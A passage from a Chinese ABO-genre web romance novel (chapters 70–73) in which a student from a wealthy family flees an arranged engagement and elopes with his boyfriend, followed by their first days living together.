隽云就笑了,嘴角扬起,笑的很漂亮:“不嫌麻烦?” 匙越非常纯情地低着头晃了晃他的手,手也漂亮。他扣紧了说:“不会嫌麻烦。” * 很快就到期末考了,星耀中学放寒假放的比较早,一月中旬就放假了。 对于之前隽诉说过的一月份就会安排他和陆家订婚的事情,总像一个断头侧刀一样悬在他的脑袋上,悬而未决将要落下。 和匙越相处的时候总是避而不谈此事,就好像他们只要不说,他们就还能一直在一起。 但是隽云偶尔也会感到失望,对于那天想让匙越带他走的话,匙越似乎真的没有放在心上,不然为什么始终没有做出什么动作呢? 这一天放学出来的时候司机已经恭候多时了,自从换过司机,新司机不像之前的李叔会聊天说话关心少爷,非常一板一眼: “今天你上车比平时晚了五分钟,我已经告知老爷了。” 隽云“哦”了一声。 等回到家的时候没想到隽诉已经在家了,隽诉在看铭升集团的财务报表,见隽云回来,他头也没抬地问: “今天怎么这么晚回家?” 所谓的晚,也就只是晚了五分钟而已。 隽云尽量心平气和地说:“下午老师拖堂,就回来晚了。” 隽诉没说话,隽云就得站在那,等隽诉看完那页的报告,翻面过去,通知他:“和陆家的婚事定下来了,等过几天你期末考完了,就订婚,然后七月份结婚,国内的大学也帮你选好了,到时候你们一起去读。” 现在已经离期末考没有几天了,也就是说,订婚和大学什么的,他们这就已经安排好了? 隽云的手猛地攥紧:“陆家到底给了我们家什么好处?” 非要他和陆家联姻? “陆家的医药企业股份能给到我们10%,等你们结婚后,陆家还会给你20%的股份,而且隽家也是时候进军医药行业了” 受不了,没等隽诉说完,他就猛地打断:“又是这些东西上次是叶家的选票,这是是陆家的股份,为什么你从来不考虑我愿不愿意,为什么你和妈妈从来不顾及我的感受,为什么” 说到这他哑了一声:“为什么你们要这么对我。” 隽诉冷哼一声:“我们怎么对你了?从小到大,好吃好喝供着你,你还想要什么?” 隽云倔强地说:“反正,我绝不和陆思华联姻。” “反了你了?”隽诉把那沓报告砸在桌上:“你再说一遍!?” “我说,我绝不联姻!”隽云声音拔高了:“再逼我你们就自己去联姻,这件事,我不同意!!!” 隽诉怒不可竭:“好啊,你长本事了!?觉得自己能继承隽家了?我们从小到大哪里缺你吃缺你穿了,联姻不都是为了隽家好?你想嫁给闵家那个私生子?我这就告诉你,没门!!” 隽云愕然,没想到他会突然提匙越,他喃喃道:“可是他不是私生子。” 隽诉冷嗤一声:“你和他在一起了,还告诉你学校的其他同学了,你们眼里还有没有长辈?还有没有家族?我看你们真是翻了天了!!!” “你怎么知道”在学校群聊里公开他和匙越的关系,但是,他爸妈怎么会知道!? 很快就告诉了他答案。 “这些还是我和你妈妈去警察署看小言,她告诉我们的!要不然,你想瞒我们瞒到什么时候?我和你妈还被你蒙在鼓里!!!” 隽诉气的胸口隐隐作痛:“我们给你戴了监控手表,还给你换了保镖司机,就这样你都还要和他在一起,你疯了!!?你眼里还有没有隽家?你还知不知道你姓什么!?” 他的语气非常失望:“他一个社会招考生身份考进去的闵家的私生子怎么能和你在一起?” “你别忘了,闵家是做什么的,他是我们的竞争对手,一旦你们在一起了,你觉得是你赚了还是闵家赚了?到时候你就是下一个他妈,你会被闵家吃的骨头渣子都不剩!!或许你现在不明白,但是,你可以去查查匙家你给我好好考虑我说的话!!!” 隽云不管他说了什么,他胸膛起伏:“反正我不会和陆思华结婚,我做不到和他在一起一辈子,你们行我不行!” 上楼梯的时候,他听到隽诉怒吼:“我看你真是翅膀硬了,要么联姻,要么滚出隽家!” 回应他的是隽云砸门关上的声音。 他回到房间,第一件事就是把摄像头遮盖住,他踩着的凳子拿着,毛巾把它盖住后,坐在椅子上,深呼吸几下,手发抖地拨了个电话出去。 “喂?” 匙越低沉的声音响起。 隽云说:“我” 明明刚才还很硬气,此刻在听到匙越的声音时却突然情绪绷不住了,酸涩的情绪涌上喉咙,他哽了一下,只说了个“我”就说不下去了。 “怎么了?”隽云很少主动打电话给他,通常都是他到晚上九点准时拨过去,而今天不到七点,隽云就打过来了,匙越低声诱哄道: “是有什么想和我说吗?” 隽云就又想到之前问他的那句话他一直都没有回复,沾着泪珠的睫毛颤了颤,他闭了闭眼,抓着手机,有些无力地说: “我没事。” 电话那头的匙越将信将疑:“真的?” “” 两相沉默,手机里传来翻开纸张的声音,隽云吸了吸鼻子:“你在干什么呢?” 听到他的鼻音浓重,匙越学他说话:“这周四周五要考试了,在复习呢。” 复习隽云没想到他还会带书回去看,想到什么:“你今天书包里面装了东西吗?” 没想到隽云对他的书包总是有一种过分地关注,匙越:“装了点,有点重。” “?” 明明看到还是扁的,也就装了几本吧,就这还重? 匙越就笑了一声。 闷笑的声音顺着电话传来,让人心底发痒,匙越低着嗓音,说着让人脸红心跳的话:“复习的怎么样?要不要我教你。” 下一秒就很想挂断了:“毕竟我是年级第一。” “我谢谢你,不用了。” 想起来和他打电话的这位期中抢了他年级第一位置的事情呢,隽云还雾着眼,张了张唇:“不是太需要。” 隽云:“等着,我这次一定能拿回第一。” 他马上就从自己包里拿出自己的笔记本,准备一雪前耻。 匙越建议:“打个视频怎么样?” 隽云翻页的手一顿,来不及反应,匙越的电话挂断,视频弹了过来。 他没接,匙越就给他发了个消息: —小狗:只是互相监督学习。 隽云就鬼使神差地,点了接听。 视频里的匙越似乎洗过澡了,换上了他自己的衣服,穿着一个黑色的外套,里面是一件白色的卫衣,卫衣有帽子,垂至胸前的绳子还在轻微晃动,裤子是比较宽松的灰色裤,他刚坐下来。 隽云这边手机还躺在书本上,摄像头对着天花板。 “你在哪呢?怎么看不到你。” 隽云就把手机扳正了,画面中出现他的身影,他问:“这样好了吗?” 匙越:“还是看不见,我的镜头好像有点模糊。” “”刚想说那就把你的老人机换成最新款的。 臭着脸把屏幕怼到脸上,眼尾平直,眼尾薄红,语气中透着威胁:“现在好了没有!” 再敢说看不清就挂了。 “好了。”匙越打量视频里的隽云,发现他的眼框一圈有点湿红,眼底蓄着光泽,像是刚刚抹眼泪了。 往下看,鼻尖也是红的。 嘴巴也红红的。每次要哭的时候嘴唇就会很红。 他不动声色地说:“接下来这几天晚上能打电话给你吗?” “干什么?” “想和你一起学习,有不会的可以问你。” “”隽云狐疑,他和他的成绩都差不多,还要来请教他? 见隽云没说话,匙越的黑色签字笔在手上转了一圈,他说:“好吧,是我想见你。” 隽云心跳徒然漏了一拍,双唇微张,一个字都说不出了。 匙越叹一口气:“晚上为什么哭?” 隽云不知道他怎么发现了,几乎是被戳破了心事一般,他顿时垂下了眉眼,颇觉得有些麻烦地咬了一下唇,他说:“我期末考完之后就要订婚了。” 匙越的手紧了紧:“这么快?我知道了。” 他知道什么啊隽云心想,上次让他带他走他都没有回他。 他可是记到现在。 后天考试,隽云脑海中闪过一个想法,他就问:“你星期五那天有其他事情吗?” “那天不是要考试吗?”匙越:“怎么了?没什么事情。” 得赶紧问了 隽云有点踌躇,他起身,从书柜上的拿下一本比较厚的书当垫的,然后把手机卡在书本和书本形成的夹角当中,确保手机能立起来,把他整个人上半身都照进去,显得他接下来要说的话非常的严肃。 他犹豫后还是说出来了:“大后天,那天我会带很多衣服去找你。” 匙越笔尖一顿:“嗯嗯?” 隽云狠下心:“如果你不愿意” “愿意,愿意。”匙越说:“我愿意。” 愿意背后的意思是 “”隽云又怀疑地确认一遍,问他:“真的愿意?” 匙越深吸一口气,几乎要安耐不住自己现在就去找他的心情,罕见地露出一点窘迫的表情,带着一丝计划被打乱的慌乱: “东城区那边太破了,不适合你住。” 他想让他住的更好一点。 那天那些人的窃窃私语他不是没听到,说他配不上隽云什么的,其实他之前也有过一刻这么觉得。 毕竟小云朵太好了。 而他从小吃过多少馊饭、挨过多少打,手上沾过多少鲜血、做过多穷凶极恶的事情是隽云想象不到的,他甚至需要努力活着。 他其实和隽云是天差地别的两个人。 温室里娇生惯养养出来的花骨朵怎么能住在那种环境的房子里? “所以我之前原本想的是,等再过一段时间,市区的别墅装修好了,再接你过来” 听完他的话,隽云垂下眼睫:“不等了。” 他的语气很淡,但是说的话非常让人怀疑他是否冷静,他说: “我们私奔吧。”—— 作者有话说:小云朵发来私奔短信: YES! OR NO? 评论区发running man 红包[害羞]《 》 70-80 第71章 第七十一章 “走咯~” 星期五早上吃早餐的时候, 隽诉和元青都在。 和他们坐在一张桌子上吃饭,隽诉通知他,他所有卡都冻结了, 等他和陆思华的订婚宴结束之后再看他的表现给他解开卡的限制。 隽云对此不予置评,喝完粥之后就背着书包出门了。 在车上, 他靠在真皮坐垫上假寐,司机透过后视镜瞄了一眼隽云,隽云昨天晚上又和老爷吵架了, 现在却不见神情疲惫, 看来是要接受老爷和夫人的安排了。 这豪门也不好混。 到地方后,隽云背着书包进校门, 他神情一切都很自然,甚至到教室的时候,在文强悄声来问他:“我们家收到小道消息, 你要和陆思华订婚了?” 隽云摇摇头:“不和他结。” 他把他的书包放在讲台前,走到自己的座位上坐着。 最近一个星期每天晚上复习的时候他都跟匙越开视频,两个人互相给对方过重点、考点,已经对考试有了九成的把握。 星耀中学年级第一和年级第二所得到的荣誉和奖金以及各种奖励都是不一样的,匙越已经回到闵家, 他不再是社会招考生, 所以隽云觉得这次他将不会再让他了——虽然上一次也是竭尽全力了。 “订婚的事情小云云怎么这么淡定啊”文强欲言又止地看着他,又看看旁边的陆思华,他正看着隽云的背影,他拽着陆思华着急地说: “陆思华!糟糕了!你知道你要和隽家联姻吗?” “知道。”陆思华的视线从隽云过鼓的书包移开,他对文强说: “后天订婚,欢迎你来参加我们的订婚宴。” “订婚宴?”文强瞪大了眼睛:“等等,兄弟, 后天?这么突然!?我去,但是你难道不知道隽云在和” 陆思华淡淡地打断他:“好了,要开考了,回你的考场去吧。” 星耀中学本来就是单人桌,因此平时考试都不需要移位置,平常考试也只是班内打乱座位,不过期末考比较重要,会随机打乱学籍号分班进行考试,隽云被分到三班,匙越去了五班。 今天下午只有一场考试,考完之后才四点,学校给他们安排了一场招生讲座,大约一个小时。 中午放学的时候,隽云收到一个消息:- 小狗:什么时候走,安排好了。 隽云呼出一口气:下午吧。 起码把今天的考试考完。 另一边,匙越看着隽云走到一班里的身影,问他- sy1011:东西带了么?- 软软绵绵小云朵:带了- sy1011:给我吗,先放我这里- 软软绵绵小云朵:行。 隽云回一班拿书包,一转身就看到匙越在门口等他,看到他,隽云从自己包里拿出一个密封好的袋子,递给他。 里面都装着他的东西,衣服,还有一些牙刷牙膏、隔离贴这些生活用品。 中午还是回家吃的,没有背书包,和隽诉元青在一张饭桌上吃饭相顾无言,偶尔点一下他,告诉他过两天订婚宴的时候不要丢隽家的人,一切都要遵从礼仪。 他们一切都准备好,只等没两天隽云就会和陆思华订婚了。 隽云在饭桌上听到元青和陆太太打电话,陆太太笑呵呵地告诉她,订婚宴主题安排好了,衣服到时候隽云和陆思华都穿白色的西装定制款,小云肯定喜欢。 隽云听着,吃没几口就没了兴致吃,说下午要考试,他先去午睡了。 回到自己的房间,看了一下监控,摄像头的毛巾还盖着,于是隽云就走到卫生间,又把一些东西装在书包里。 最后一次在这间房间午睡。 意外睡的很好。 一想到他可以离开这里了,很奇怪的是,他甚至没有什么不舍。 指尖搭过床头柜,摸了一下书桌,然后一路走过去,飘荡的窗帘轻薄,从他的指尖划过,阳台和卧室的门关着,他最后一次打开,在阳台上往下看,看到白色的栅栏角落埋着一个鼓包。 他收回视线,轻轻把门关上。年少时的小猫埋藏在这里,而他就要自由了。 * 下午最后一场考试结束后,所有人回班里拿东西,教室里闹哄哄的,但是老棠提前打过招呼了,等一会儿还有一个国外知名大学的招生讲座,所有人都得过去,动作要轻,不要吵到楼下高一二年级的考试。 陆思华和文强差不多时间交卷,在一班门口碰到,文强兴致勃勃地拉着他对答案。 进了教室,陆思华看向讲台上的一个角落,那里应该放了一个书包的,此刻却不翼而飞。 他立马转身要出教室去追,却一把被文强扯住衣领:“诶,你干什么去啊?等会儿还有个讲座。” 文强拽着他没松开,陆思华推了一下他:“滚开!” 额角沁出一点汗,他罕见地情绪起伏有点大,甚至情绪外露,猛地踢了一脚课桌。 “嘭!”金属课桌相撞,教室里的讲话声都安静下来,所有人都看着陆思华。 文强被吓了一跳:“你干嘛?老棠说了,楼下有高一的在考试,不能乱移桌椅!” 隽云提早了半个小时交卷,他回教室里的时候一个人都没有,他拿了手机,拎着书包出去。 手机里的消息说是让他来一趟大会议室侧门,大会议室在一楼的侧面,平时是老师们开会、学生会组织活动的时候会用,会议室旁边走廊的窗户是玻璃窗。 他在窗户边等了没多久,下课铃响了,走廊上一个人都没有,空空荡荡,所有人都还在教室里考试,只有他一个人从楼上跑下来了。 他一只手拿着手机另一只手拎着书包靠在墙上,心里忐忑,焦虑又不安,这还是他第一次逃课——虽然只是逃个讲座,但是据说年级教导主任会在考试期间巡视教室,看学生有没有考试违规行为。 此时隽云希望教导主任不会突然出现,毕竟要纠缠一会儿也会浪费他的时间,他想了想,还是从书包里翻出来了黑色口罩戴上。 “那边的同学!你几班的!?站在那里干什么?” 隽云戴口罩的手一顿,僵硬抬头,不是吧 这么巧 另一端楼梯转角尽头出现一个穿着黑色长棉袄的大肚腩男人,挺着肚子,棉袄敞着没扣扣子,里面是一件衬衫,男人面有凶相。 不过幸运的是,教导主任并没有认出来这个戴着口罩的男生是谁,指着他喊了一声后,把外套两边一撩,朝隽云走过来了。 隽云:“!?” 恰在这时,底下花坛旁边传来叫声:“这里!” 隽云转头看去,匙越穿着一身校服棉服,墨绿色的长裤,头上戴着一顶黑色的鸭舌帽,旁边还有几个穿着便服的男生,高矮胖瘦都有,不太像他们学校的人。 要往前走从一楼的大门出去的话,就势必会被那位教导主任逮到,隽云选择把玻璃窗户推开,厚重的玻璃窗沿积了一层厚厚的雪,他差点推不动,然后毫不客气地把手里的书包一丢: “接着。” 教导主任见他推窗户,反应过来他这样不太对,小跑起来,语气也变的急切凶狠:“站住!你要干什么!” 匙越接过他甩过来的书包,往后递给他的小弟,然后张开双手,注视着他:“跳下来。” 一楼用作高一的考场了,窗户不高,下面是花坛,窗户离地面还是有点距离的,隽云翻上去,不远处在赶来的教导主任怒吼: “你们团伙作案是吧!?是哪个班的?是不是高一的!??还是校外的?怎么进来星耀的!?” 隽云踩到窗沿的时候有点犹豫,匙越张着手,注视着他的动作,隽云心一横,猛地跳下来。 他扑入了一个温暖的怀抱。 意外没有落到花坛上,而是被接住了,略微踉跄一下,还不等歇一下,匙越抓住他的手,牵着他的手跑。 匙越朝后挥了一下手,隽云转头去看,看到拿着隽云书包的男生亦步亦趋地跟着他们,另外两个人手一伸,拦在教导主任前面。 后面传来教导主任抓着他们的手臂气急败坏的怒吼:“给我站住!!!” 匙越牵着隽云,转身的时候看到隽云喘着气,头发尽数往后飞扬,露出光洁的额头和精致漂亮的眉眼,虽然戴着口罩,但是匙越看到他的眼睛是眯着的,眉眼弯弯,眼尾像一条小钩子一样斜飞,让匙越有种想把他抱起来转一圈冲动。 他是这么想的,也就这么做了,匙越长臂一捞,肌肉发力,单手就把隽云箍住抱起来,隽云猛地惊呼一声,抓紧了他的胳膊。 匙越就这么把他捞到自己身上,掂了掂他,调整了一下姿势,抱着他跑。 “走咯~” 路上积雪未化,银色的雪在地面上泛着反光,一路波光粼粼,路还是那条路,抱着他的还是那个人。 隽云眉眼弯弯,噗嗤一声笑出来,很快就忍不住,倒在匙越的身上大笑: “哈哈哈哈哈哈” “校外的是吧?你们是怎么混进来的,保安呢!保安去哪里了!?你们要去哪,回来!!!” 教导主任被两个人拦着,那两人眼疾手快在他嘴里堵了个布,在他的呜呜呜声和震惊的左右环看中,一人拖住他一个胳膊,把他拖到了一个没人角落,然后把他打晕了。 鉴于老大没说要把他弄死,他们还是力道放轻了很多,然后把他推到了花坛里。 不出半个小时他就会醒来了。 * 星耀中学的外墙都建的很高,老套的翻墙方法使不通,匙越带着他从学校门口出去了,学校门卫甚至都没有问原因。 隽云感觉不对,在匙越怀里直起脑袋:“保安怎么会放我们出去?” 匙越说:“反正考试要结束了,提前下课而已。” 他拿出手机,打了个电话给明叔,电话接通的瞬间,明叔告诉他:“要准备的已经准备好了。” 匙越根据发来的车牌号码,在不远处找到后就把隽云塞了进去。 后面那人把包递过来,对隽云说:“麻烦您外套脱给我一下,我等会将会伪装成您正常放学。” 隽云这才发现,那人身形和发型都和他很像,于是他就在车上把校服外套脱了,然后又在书包里拿了个相同的口罩递给他。 车内开了暖气,匙越摸了摸他的头,然后说:“司机会带你去东城区,你到了那里不要乱跑,晚上闵家有点事情我要去处理,忙完了就来找你。” 星耀中学在市中心,闵家主要坐落在北城,从北城区去东城区要起码一个小时。 隽云心像是被一个酸软的东西浸泡过一样,他低着头,突然来一句:“那你快点回来。” 匙越俯身在他的额头上亲了一下:“好。” 一个小时后,放学铃声响起。 最后一节课是讲座,在大会议室举办的高三年级讲座,刚开始还会由各班班主任上台说一下寒假的安排,随后就是长达一个小时的招生讲座了。 正中间的隽云的位置空出来了,直到讲座进行到一半了隽云都没有回来,文强这才觉得不对,推了一下隔壁的陆思华:“怎么回事啊?隽云考试完了没来听讲座?” 陆思华脸色很难看地不发一言。 一直到讲座结束了,三三两两的人群都起身散场了,隽云还没回来。 匙越中途回来了一趟,放学后来送手表的omega没等到隽云,等来了匙越,匙越接过手表,并告诉他以后都不用来了,钱这几天就会打到他的卡上。 omega看着他的身影怅然若失。 匙越找到替隽云的人,然后把手表给他,让他按计划出校后带着它满城乱逛,以扰乱视听—— 作者有话说:开启同居生活了[眼镜] 评论区发份子钱小红包[害羞] 第72章 第七十二章 “抱着睡。” 闵家的装潢偏向富丽堂皇的风格, 一辆低调的林肯停在闵家,价格不菲的皮鞋踩在铺满小石子的路上,匙越踏出来, 反手把门关上。 家里其他人都已经齐聚,自从他八九月份开始接触闵荣, 到现在也不过还没半年的时间,匙越还没有改姓,而他的那些亲叔叔伯伯也不太认他这个人。 短暂的聚会结束后, 叔叔伯伯们陆续离场, 话里话外的意思是要让匙越好好表现。 闵荣又找匙越聊了一下,总的意思是暂时还不能让他接触荣升集团的业务, 等他大学毕业之后再说,以及到时候闵术也会参与进荣华的事务管理当中。 其实就是还是不信任他。 闵术虽然是一个omega,但是到底是他心爱的女人亲生的? 匙越就冷笑一声:“可惜他不一定是闵家的人。” 闵荣一愣:“你说什么?” 这时书房的门猛地被推开了, 闵术进来,他略微显得有些慌张:“哥!” 哥? 匙越就似笑非笑地看着他,他转身出去了,闵术在后面追上来,他问匙越:“你在背后调查我?” 匙越看着他反问:“叶馨言被关进警察署后, 你以闵家的名义去警察署看过她?” 匙越:“你对她说了什么?” 闵术的脸色顿时一白, 他没想到这都会被匙越知道,仓皇一笑:“没什么、没什么啊” 二人距离很近,闵术紧张的神色落入匙越眼中,匙越抬手掐住他的脖颈,把他推到了墙上,手背青筋暴起,他非常克制住才让自己不把这个人丢出去, 刚才还堪称温和的面具撕下来: “你去找叶馨言,告诉她怎么对付隽云,对不对?” 闵术顿时脸色大变,他确实是因为想从隽云那边下手。 让叶馨言告诉隽诉隽云和匙越在还没退婚前就已经勾结在一起,从而让隽云被隽家管制,匙越得不到隽云,最终眼睁睁看着隽云和别人结婚。 只是他没想到匙越会知道。 脖颈上的手收束,似乎要把他掐死,头脑的血供应不畅,很快他的脸就涨青涨红了,但是,这还是在闵家 他居然在闵家就敢对他动手 就在他猛地拍匙越的手背的时候,匙越把他丢在地上,回想起吃饭的时候那些叔叔伯伯们的意思: “让我继承闵家的一半?” 他觉得非常可笑:“识相的话,赶紧收拾东西滚人,闵家不可能给你们分杯一羹,听清楚了吗?” 闵家他势在必得。 匙越出来的时候碰到了闵荣,他脸色阴沉,顺着闵荣的视线看过去,闵术正倒在地上柔弱地咳嗽不止,泪水盈盈,咳的脸都红了,眼珠子转了一圈,说: “都是我的错和哥哥没关系” 匙越看着他的演技冷笑一声,果然是他妈亲生的,就连这种演技都继承了他妈,当年也是这么博取同情上位,从而抢走他的一切的吧? 果不其然,闵荣脸色一沉:“匙越!你这是干什么!” 匙越仰头,松一口气,觉得突然有点累了,也懒得陪他们耗了,他抬脚往外走,和闵荣擦肩而过: “如你所见。” 反正,他把他认回来之后也不太待见他。 “匙越!!!”回应他的是闵荣一声震怒。 匙越头也不回地出了庭院,门口的车辆恭候多时,他上车后看了一眼手机,现在晚上九点了,回去的话估计十点多。 司机问他:“少爷,现在去学校附近的别墅吗?” “不去那里。”匙越说:“送我去东城区。” 车子启动,加速驶离这一片豪华区域,趁着夜色穿越大半个城市,赶往东城区。 一个晚上,隽云都没有给他发消息,让匙越有点疑心今天下午他是否安全到了东城区他家。 * 小而拥挤的屋子里,隽云刚吃完饭去洗澡,吹完头发,他关掉吹风机,然后把它放在床旁边的柜子上,屋内有点冷,他就把热空调打开了。 等做完这一系列的事情之后,他摸过手机,看到匙越给他发的消息还没回- 小狗:你在哪?- 云:不是你说的,让我住你家吗?- 小狗:那你现在在干什么?- 小狗:Q口Q!- 云:? “啧”隽云皱眉,心想这人事挺多,看着那个颜文字,他回:- 云:准备睡了。 他想起来一个事情,问他:我今晚想睡床- 小狗:所以呢? 隽云坐在床上,他有点犹豫,发了消息过去:你睡沙发? 窗外是疾驶而过的高楼大厦,匙越看着消息忍不住发了句语音过去:“我家的床两个人应该还是睡得下的。” 隽云听完这句话有点羞愤,虽然确实这张床两个人睡得下,但是仅有的同床经历告诉他,omega和alpha一张床上睡觉总会发生一些不那么美妙的事情。 虽然说他是来投奔匙越了。 但是要每天晚两个人一起睡觉吗 想到一些事情,隽云又觉得还是不行,那种事情实在不是很舒服。 隽云回想了一下沙发的质感,虽然坐在上面挺软的,但是睡觉可能就比不上床的质感了,而且小,他翻身都不够,他不想睡沙发。 但是匙越估计也不想。 从没吃过这种苦的隽云就干脆什么都不想了,被子拉过头顶,他把灯一关,准备睡觉了。 希望匙越回来后自觉一点,不要对他动手动脚。 对他选择的alpha抱有一种诡异的信任感,隽云躺下了。 房间里漆黑一片,他的心脏又开始感到一点窒闷,但是老旧花纹的被子充盈着alpha残留的信息素气味,挂在墙角的空调制热传来小声轰鸣,他很快又放松下来,告诉自己,他现在已经不在那间房间里了,隽云渐渐有了点困意,他陷入了睡眠。 匙越回来的时候就是看到的这幅景象,家里的灯都关上了,只有靠近门口的柜子上一盏小台灯亮着。 昏黄的台灯上,他换上拖鞋,然后走到里间的房间,轻轻推开门,屋内漆黑,没有一点动静,一切都安静无比,匙越怔忪片刻,很快,他透过一点客厅照进房间的昏黄灯光,看到床上埋藏在被子底下,有一个鼓包正在轻微起伏着。 一颗心就安定下来了,匙越轻手轻脚进来,在衣柜里找了一身衣服,然后把门关上,去了厕所洗漱。 隽云听到动静迷迷糊糊地动了动,被贴上一身热气,被人一把搂住了。 匙越把被子掀开一角,钻进了被窝。 今天晚上他还没和隽云说话,甚至他在路上没有和隽云打电话,没想到他回来的时候隽云已经睡着了。 他凝视着黑暗中因为被打扰睡眠,被角被掀开冷空气灌入而不满蹙眉的隽云,他背对着他睡。 今晚没打电话都睡着了,这是不是说明隽云的焦虑症其实已经好很多了? 他躺下,搂着隽云的腰,把他往他怀里按了按,慢慢地,脸埋进他的颈窝里,深深地嗅了一口气。 香的。 * 隽云早上醒来的时候还是遵循生物钟醒来的,甚至都忘了今天是寒假第一天,潜意识告诉他要上课,于是他准时在七点不到的时候就醒来了。 醒来的时候,感觉被窝里很暖和,他抱着一个非常暖和玩偶,手上下摸了摸,却不是熟悉的触感。 “?” 他睁开眼,却看到的不是玩偶,而是白色的布料,皮肤在衣服底下温热又有着肌理分明的硬朗 意识回笼,他往后仰,看到匙越俊朗的脸庞,眉毛锋利,闭着眼,发丝凌乱地散在额前,呼吸温热,一只手给他枕着头一只手环抱着他。 眼前的脸在面前放大太具有冲击性,隽云往后一仰,拉开和他的一点距离:“!?” 他抬脚一踢,想把他踹走,又硬生生顿住了脚步,环顾四周,他想起来,他已经不在隽家了。 他真的和匙越私奔了。 慢吞吞收回脚,他坐在床上,黑发翘起几角,睡的乱糟糟,脸上还有睡觉压出的红痕,他看着那床鸳鸯戏水的被子呆了一瞬,然后猫着腰,撑着上半身从被子里爬了出来。 踩着匙越的胸口下了床,腰间粗壮的手臂从他身上自然滑落。 昨天特意把洗漱用品都带过来了,一个黄色的小鸭子杯子摆在镜子前,里面插了一根配套的电动牙刷,花了六位数买的,专门针对他的牙齿情况呵护牙龈。 旁边是匙越蓝色且无任何装饰的杯子,手动挡牙刷,牙刷毛有一点呲开了,看着也是十分坚硬一点也不柔软的样子。 十几块钱的便宜牙刷 太糙了吧。 隽云心想,他之前有偷偷存一些钱,大概卡里还有几百万,他不是不能帮匙越买一个和他一样的牙刷。 这么想着,他一边刷牙一边看镜子,没刷多久,门就开了,隽云顶着嘴角泡沫看去,匙越出现在门口,他穿着一件长单衣,黑裤子,进来厕所和他挤在一起。 匙越伸手,从他身侧越过他拿过杯子牙刷,牙刷沾了一下水,然后牙膏挤在牙刷上,他一边手刷,一边圈上了隽云的腰。 隽云一个踉跄,被搂的往后退了一步,不得不贴着他。 刷牙的动作逐渐变慢了许多,几十万买的牙刷在齿间突然震得脑袋发嗡,隽云:“” 他缓缓低头,看着匙越搂着在他腰间的手,这间厕所确实太小了,两个人并排站根本站不下,隽云就瞪了他的手一会儿,继续刷牙。 洗漱完后,隽云站在房间里有点无所事事。 毕竟这里连个电视机都没有。 匙越换好衣服后出来,隽云问他:“等会儿去做什么?” “你坐会儿,我去做早餐。” “好吧。” 隽云被人伺候惯了,他跑到客厅去坐着,在沙发上等匙越弄早餐出来,偏过头,看到窗外的那颗大树光秃,外面飘着棉絮一样的雪,室内温暖。 听到匙越在厨房里喊:“去穿个袜子。” 隽云觉得这种感觉很奇妙,那些风雨好像都离他远去,几日前萦绕在耳边的冷漠叮嘱订婚宴上的流程安排都变成上个世纪的事了。 他身边只有匙越了。 打开手机,手机上有文强发来的消息,时间显示在凌晨,不过他那时候已经睡了,就没看到消息:- 清醒也是一种罪?:小云云!!!你去哪里了啊!!!昨天晚上你爸妈电话都打到我这里来了啊!!!你失踪了!??你被绑架了吗??现在这年头的绑匪太猖狂了!你还活着吗?!!! 隽云看着这一大段有点吵的话,滑了一下返回键,回到主页,又看到班上零散几个得到隽家内部消息的人发来的消息- 班长武佟:隽云,你情况还好吗?听说你没回家- 柳元誉:活着?别误会,某人让我问的。 还没来得及回消息,匙越就擦了擦手从厨房里走出来,看了他一眼,去了卧室。 再出来的时候他手里拿着一双黑色的袜子,不是他带过来的,是匙越的袜子。 匙越一只腿压在地上,一只腿蹲着,跪着捏住他的脚心,给他把袜子套了上去。 被人捏着脚心的感觉有点奇怪,酥麻的痒意顺着粗糙的指尖刮蹭过的感觉顺流而上激起一层鸡皮疙瘩,隽云不得不把视线从一溜的消息栏上移开。 看到相比肤色黑一个度的宽大手掌托着他白皙的脚,低着头给他穿袜子时,脚瑟缩了一下,又被抓住揉了揉,匙越以为他冷—— 作者有话说:实则有反应了。 评论区发[裤子]小红包 第73章 第七十三章 “等老公回来。”…… 袜子有点长, 把露出来的脚脖子也包上了,很暖和。 隽云心念一动,脚从他的手上抬起, 踩到他的胸口,又踩到肩膀上。 本来是觉得好玩, 但是带着笑意地抬眼对上匙越那双黑沉的眼睛时,他心神一颤,反应过来, 收回脚, 抓着手机退到沙发角落,没看他: “你你快去做饭吧!” 匙越短促地笑了一声, 不弄他了。 他去了厨房,顺便把门关上,免得油烟味溢出来。 隽云窝在沙发上, 看了一下文强之前邀请他进的群聊,群里面聊的热火朝天的,没有人在讨论他的事情。 看来,他失踪的事情,隽家还是封锁了消息的, 没有让太多无关人员知道。 刚刚还有一个人给他发了消息- 陆思华:“你真的想好了吗?” 隽云手指一顿, 透过这几个字似乎能看到陆思华受伤的表情,只是隽云没法安慰他什么,只能发消息说:“抱歉。” 他第一次也是最后一次道歉。 回了几个人的消息告诉他们他情况还好之后,很快他就闻到了一阵香味。 隽云饿的肚子“咕咕”叫了两声,看到匙越端着简单的煎鸡蛋和清炒青菜还有两碗粥出来了,还有红薯和煮鸡蛋。 “这么丰盛?” 想过和匙越私奔之后,可能以后每顿要吃糠噎菜就冷馒头的生活了, 为此他开始转移资产,往自己的私人账户里打款了五百万,以解决吃食的问题,毕竟住在这里已经是将就了,吃方面不能再那么可怜了。 结果没想到其实吃的还行。 虽然依旧比不上他在家里的生活,但是也还算是正常水平,比他想象的好太多了。 匙越不知道他在想什么,见他看着菜发愣,摆好碗筷叫他过来吃饭:“过来,吃饭了。” 隽云就把手机一放,他起身走到饭桌前拉开椅子坐下。 吃着吃着,感觉匙越手艺确实不错,他埋头喝粥吃菜,突然想起来,抬起头来问他:“你等会儿要出去吗?” 匙越给他夹了一块煎蛋:“不出去。” 隽云:“你不用回闵家吗?” “闹掰了。”匙越说,看到隽云疑惑的眼神,他补了一句:“也不是闹掰了,等过两天再回去也没关系,昨天和闵荣吵架了。” 闵荣匙越直接直呼自己爸爸的名字,但是隽云看闵家也不是很顺眼,所以无所谓地耸耸肩,他问:“那你这几天都待在这里吗?” “对的。”匙越夹一筷子菜吃,慢悠悠补一句:“我想陪你。” “” 隽云就闭嘴,闷头吃饭了。 吃完饭后,他看到匙越起身收碗,他后知后觉:“我我来?” 不过他从来都没有干过什么活,收碗可以,洗碗他就不会了。 “我来收碗吗?”隽云有些踌躇地想,现在借住在匙越家里,没有什么活都让匙越干的道理吧。 或许他应该帮忙一下。 他可以把碗收过去,再叫匙越去洗碗。 匙越把他面前的碗筷收回去,摞起来,说:“不用,你不用干活。” “噢噢”隽云就在桌子旁边站着,看着匙越把碗筷放到厨房里,又拿了个抹布出来擦桌子。 匙越擦了两下,发现隽云一直在盯着自己,还有他手上的动作,他唇角微微勾起,擦桌子的动作大了一点,腰腹的肌肉张驰,手臂挥动,带着爆发的气势。 隽云心想,擦桌子原来也是个力气活。 